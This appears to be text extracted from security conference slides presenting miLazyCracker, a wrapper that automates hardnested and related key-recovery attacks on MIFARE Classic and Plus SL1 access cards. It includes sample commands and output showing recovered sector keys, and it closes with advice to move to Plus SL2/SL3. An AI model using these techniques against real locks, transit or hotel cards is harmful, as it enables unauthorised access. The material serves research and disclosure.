miLazyCracker. Kevin Larson презентация

or what I do there, this work was done completely on my time and my dime

Masters Student at University Of Minnesota, USA

builds on existing tools to make them easy to use

control, transportation, hotels
Not all systems rely on networked/server side checks
Custom crypto library – CRYPTO1

Source: https://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic.2C_MIFARE_DESFire_and_MIFARE_Ultralight

Classic
MFOC (Nested Attack)
Relies on the fact that one key is known
MFCUK (Darkside Attack)
No keys are known for the card at all

MFCUK: https://github.com/nfc-tools/mfcuk MFOC: https://github.com/nfc-tools/mfoc

URL: https://www.pinterest.com/pin/440297301040955293/

Fixed PRNG, no longer vulnerable to existing card-only attacks (MFOC/MFCUK)

Released Mifare Plus card - AES option

(Mifare Plus SL1)
Important because many installations likely did not update infrastructure

easier to use
Can I make it faster? Real-time even?

(FREE!)
Crappy eBay lock *

Not all Classic readers accept MF+ (timing)

one known key
Many attempts at nested authentication
Collect unique encrypted nonces
Leaked bits can reduce keyspace to ~2^20
Brute-force

smarter than me don’t sleep
Speed of the attack is heavily dependent on the physical time constraints
Make this REALLY easy to use

have a Mifare Classic or Plus?
Don’t have time to wait for older attacks (MFOC)
Don’t have over $200 to buy a Proxmark?
Have $30 for a usb reader?
Try miLazyCracker!

of hardnested attack to save additional data for tool automation

Created wrapper script to figure out all parameters necessary, no input parameters needed

Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
…
Try to authenticate to all sectors with default keys...
…
Sector 00 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 01 - Unknown Key A Found Key B: 000000000000
…
Sector 11 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 12 - Unknown Key A Unknown Key B
Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000

hardened Mifare Classic
Trying HardNested Attack...
libnfc_crypto1_crack 000000000000 60 B 48 B
…
Collected 1540 nonces... leftover complexity 199741811968 (~2^37.54) - initializing brute-force phase...
Found key: 000000143575
The custom key 0x000000143575 has been added to the default keys
 … recursively calling attacks in wrapper script...
libnfc_crypto1_crack 000000000000 60 B 48 A
Found key: 66778899aabb
The custom key 0x000000143575 has been added to the default keys
The custom key 0x66778899aabb has been added to the default keys
…
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: 000000143575] -> [............\...]
[Key: 66778899aabb] -> [............x...]
[Key: ffffffffffff] -> [x.xxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [x.xxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [x.xxxxxxxxxxxxxx]

Key B: 000000000000
Sector 01 - Unknown Key A Found Key B: 000000000000
Sector 02 - Found Key A: ffffffffffff Found Key B: 000000000000
…
Sector 12 - Found Key A: 66778899aabb Found Key B: 000000143575
Sector 13 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 14 - Found Key A: ffffffffffff Found Key B: 000000000000
Sector 15 - Found Key A: ffffffffffff Found Key B: 000000000000
…
Using sector 00 as an exploit sector
PRNG is not vulnerable to nested attack
MFOC not possible, detected hardened Mifare Classic
Trying HardNested Attack...
libnfc_crypto1_crack 000000000000 60 B 4 A
Found tag with uid a007a2a0, collecting nonces for key A of block 4 using known key B 000000000000 for block 60
Collected 4003 nonces... leftover complexity 35169220696 (~2^35.03) - initializing brute-force phase...
Starting 8 threads to test 35169220696 states using 256-way bitslicing
Cracking... 98.28%
No solution found :(
…. Keep Trying! We’ll get different nonces next time around….

60 B 4 A
Collected 23435 nonces... leftover complexity 10712945232 (~2^33.32) - initializing brute-force phase...
Found key: 112233445566.. 
Auth with all sectors succeeded, dumping keys to a file!

USE



CUSTOM CRYPTO
Mifare Classic should be avoided
** Mifare Plus SL2 and SL3 are secure **